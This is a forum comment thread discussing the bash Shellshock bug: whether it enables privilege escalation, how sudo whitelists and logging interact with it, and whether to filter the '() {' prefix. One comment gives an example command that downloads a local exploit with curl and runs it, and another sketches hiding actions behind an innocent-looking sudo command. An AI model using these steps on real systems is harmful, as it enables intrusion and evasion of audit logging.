4 ms·

Care to elaborate? AFAIK this bug is about remote execution, not about privilege escalation. The reason is that the shell would be run with the same privileges

• ZoFreX 12y ago
  Here's one way: if you have SSH access to a server but aren't allowed to log in (a Git server, for example) you can use this exploit to execute commands on the server. Only with your own privileges admittedly but without this exploit you wouldn't be able to execute commands at all.
• ClashTheBunny 12y ago
  I can think of a few ways this could be a problem if you sudo. Sudo is configured to whitelist environment variables, so just figure out which ones are on the whitelist, or find half the people who have alised sudo='sudo -E'. From man sudo on OS X: SECURITY NOTES sudo tries to be safe when executing external commands. Variables that control how dynamic loading and binding is done can be used to subvert the program that sudo runs. To combat this the LD_*, _RLD_*, SHLIB_PATH (HP-UX only), and LIBPATH (AIX only) environment variables are removed from the environment passed on to all commands executed. sudo will also remove the IFS, CDPATH, ENV, BASH_ENV, KRB_CONF, KRBCONFDIR, KRBTKFILE, KRB5_CONFIG, LOCALDOMAIN, RES_OPTIONS, HOSTALIASES, NLSPATH, PATH_LOCALE, TERMINFO, TERMINFO_DIRS and TERMPATH variables as they too can pose a threat. If the TERMCAP variable is set and is a pathname, it too is ignored. Additionally, if the LC_* or LANGUAGE variables contain the / or % characters, they are ignored. Environment variables with a value beginning with () are also removed as they could be interpreted as bash functions. If sudo has been compiled with SecurID support, the VAR_ACE, USR_ACE and DLC_ACE variables are cleared as well. The list of environment variables that sudo clears is contained in the output of sudo -V when run as root. From man sudo on Ubuntu Linux: Note, however, that the actual PATH environment variable is not modified and is passed unchanged to the program that sudo executes.
  • ClashTheBunny 12y ago
    Specifically, here's Debian's output of sudo sudo -V: Environment variables to preserve: XAUTHORIZATION XAUTHORITY TZ PS2 PS1 PATH LS_COLORS KRB5CCNAME HOSTNAME DISPLAY COLORS Just set any of those on an account with sudo access to something that runs bash. Even if the bash command was something trivial.
    • cesarb 12y ago
      That makes me think of another facet of this bug: it can bypass logging by sudo of the executed commands. A quick look at journalctl's output shows that sudo by default, at least on the distribution I'm using, logs only the original user, the tty, the current working directory, the target user, and the command. It does not seem to log the environment variables. So you could use an innocent-looking sudo command (like "sudo ls") to hide doing something else as root, without using obvious commands like "sudo bash" or "sudo -i".
      • ClashTheBunny 12y ago
        Yes, just put a bash script called ls $HOME/bin, put that directory in $PATH, run sudo ls, and off you go... Hopefully you would not be white-listed to run things like that (always put the full path in sudoers), so you will need some sort of "obviously bash" in the log, but we all know what we have done at moments of interaction with paper-cuts. We have probably all lessened our security to ease discomfort here and there.
        • jtgeibel 12y ago
          I've tested this on both Ubuntu 14.04 and CentOS 6.5, and they both sanitize the path variable such that this is not possible. I believe this is controlled via the secure_path setting in your /etc/sudoers file.
        • cesarb 12y ago
          When I ran "sudo ls", the command that was logged was "/bin/ls", so putting a different ls in $PATH would not trick sudo's logging.
• dspillett 12y ago
  The problem is in bash so is potentially exploitable where-ever bash is used, while web servers could try to mitigate it with extra request filtering as an interim measure that may not be 100% effective (it comes down to "enumerating the bad" - how do you make sure you filter out everything that could be a problem without accidentally filtering out something valid, required, and safe?). A malicious user with access to certain commands via sudo or similar could potentially use this to gain further access.
  • cesarb 12y ago
    Someone else in this discussion mentioned that the badness is the exact four characters "() {" at the start of an environment variable. Filtering out all environment variables starting with these four characters should be 100% effective, and I wouldn't be surprised if Apache, sshd, sudo, dhclient, and others start filtering out values that start with precisely these four characters. I don't think these four characters at the start of an environment variable are common; if they were, this bug would have been found out much sooner. It should be safe to filter them out.
    • dspillett 12y ago
      But there you are fixing the symptom (the web server issue) not the problem (which lies in bash) so you need that fix everywhere that bash is used and not just in one place (in bash itself). It could be a useful interim measure for code that implements it, but only if the update gets written, tested, and released before the update to bash is available - and it would weigh down the package maintainers for the distros as they'd have a sudden glut of updates coming downstream for this one issue instead of one update for one package. People who aren't going to update bash as soon as an update is available aren't going to update everything else (where "everything else" is a set containing at least Apache, probably other web servers, and maybe many other apps) as quickly either - so fixing bash is the best course and the quickest resolution, and changing Apache and friends isn't going to have any benefit: either people update in a timely manner (so the bash fix sorts their problem) or they don't (and no end of updates will solve their problem because they don't have any of them installed).
• sophacles 12y ago
  Practically speaking, there's not a lot of difference between arbitrary code execution and privilege escalation. There are a lot of local exploits for most operating systems. So once I can execute some arbitrary commands, I can simply: curl http://www.exploits.org/local_exploit1 -o iwin; ./iwin (or more sophisticated variants that ensure the code is executable). Even if you assume an otherwise perfect OS, this is dangerous, because e.g. www-data can usually access more code and data than any given web app user could. So now I could (e.g.) start dumping the database, which I accessed because I found the password in a PHP file www-data has to be able to read. Keep in mind that a lot of information is passed around with environment variables - it's what they are for (keeps the need for complex command line parsing - a source of bugs itself - down). So while everyone is tying the exploit to web servers, that is because it is a trivial example of a place input data can be turned into an environment variable. There are undoubtedly others - to a large extent shell scripts still run the world.
  • dllthomas 12y ago
    For it to be interesting, it still requires some situation where a shell is run with data provided by someone who could not have just run a shell with the same context (UID, &c) themselves. There doubtless are others - as you say, scripts still run the world - but web is by far the most obvious.